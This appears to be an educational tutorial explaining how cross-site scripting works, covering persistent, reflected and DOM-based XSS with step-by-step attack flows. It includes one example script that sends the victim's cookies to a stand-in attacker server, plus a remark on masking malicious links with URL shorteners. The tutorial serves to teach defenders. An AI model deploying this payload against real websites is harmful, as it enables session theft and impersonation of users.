Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack. In general, an XSS attack involves three actors: the website, the victim, and the attacker.

The website serves HTML pages to users who request them. In our examples, it is located at http://website/.

• The website's database is a database that stores some of the user input included in the website's pages.

The victim is a normal user of the website who requests pages from it using his browser.

The attacker is a malicious user of the website who intends to launch an attack on the victim by exploiting an XSS vulnerability in the website.

• The attacker's server is a web server controlled by the attacker for the sole purpose of stealing the victim's sensitive information. In our examples, it is located at http://attacker/.

In this example, we will assume that the attacker's ultimate goal is to steal the victim's cookies by exploiting an XSS vulnerability in the website. This can be done by having the victim's browser parse the following HTML code:

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

This script navigates the user's browser to a different URL, triggering an HTTP request to the attacker's server. The URL includes the victim's cookies as a query parameter, which the attacker can extract from the request when it arrives to his server. Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks.

From now on, the HTML code above will be referred to as the malicious string or the malicious script. It is important to note that the string itself is only malicious if it ultimately gets parsed as HTML in the victim's browser, which can only happen as the result of an XSS vulnerability in the website.

How the example attack works

The diagram below illustrates how this example attack can be performed by an attacker:

1. The attacker uses one of the website's forms to insert a malicious string into the website's database.

2. The victim requests a page from the website.

3. The website includes the malicious string from the database in the response and sends it to the victim.

4. The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.

While the goal of an XSS attack is always to execute malicious JavaScript in the victim's browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types:

• Persistent XSS, where the malicious string originates from the website's database.
• Reflected XSS, where the malicious string originates from the victim's request.
• DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.

The previous example illustrated a persistent XSS attack. We will now describe the other two types of XSS attacks: reflected XSS and DOM-based XSS.

In a reflected XSS attack, the malicious string is part of the victim's request to the website. The website then includes this malicious string in the response sent back to the user. The diagram below illustrates this scenario:

1. The attacker crafts a URL containing a malicious string and sends it to the victim.

2. The victim is tricked by the attacker into requesting the URL from the website.

3. The website includes the malicious string from the URL in the response.

4. The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.

At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack.

As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself:

• If the user targets a specific individual, the attacker can send the malicious URL to the victim (using e-mail or instant messaging, for example) and trick him into visiting it.

• If the user targets a large group of people, the attacker can publish a link to the malicious URL (on his own website or on a social network, for example) and wait for visitors to click it.

These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it.

DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack:

1. The attacker crafts a URL containing a malicious string and sends it to the victim.

2. The victim is tricked by the attacker into requesting the URL from the website.

3. The website receives the request, but does not include the malicious string in the response.

4. The victim's browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.

5. The victim's browser executes the malicious script inserted into the page, sending the victim's cookies to the attacker's server.

In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim's browser receives the response, it assumes the malicious script to be part of the page's legitimate content and automatically executes it during page load as with any other script.

In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to be executed.

The difference is subtle but important:

• In traditional XSS, the malicious JavaScript is executed when the page is loaded, as part of the HTML sent by the server.

• In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page's legitimate JavaScript treating user input in an unsafe way.

In the previous example, JavaScript was not necessary; the server could have generated all the HTML by itself. If the server-side code were free of vulnerabilities, the website would then be safe from XSS.

However, as web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request.

This means that XSS vulnerabilities can be present not only in your website's server-side code, but also in your website's client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code.

There is a special case of DOM-based XSS in which the malicious string is never sent to the website's server to begin with: when the malicious string is contained in a URL's fragment identifier (anything after the # character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely.

This situation is not limited to fragment identifiers. Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.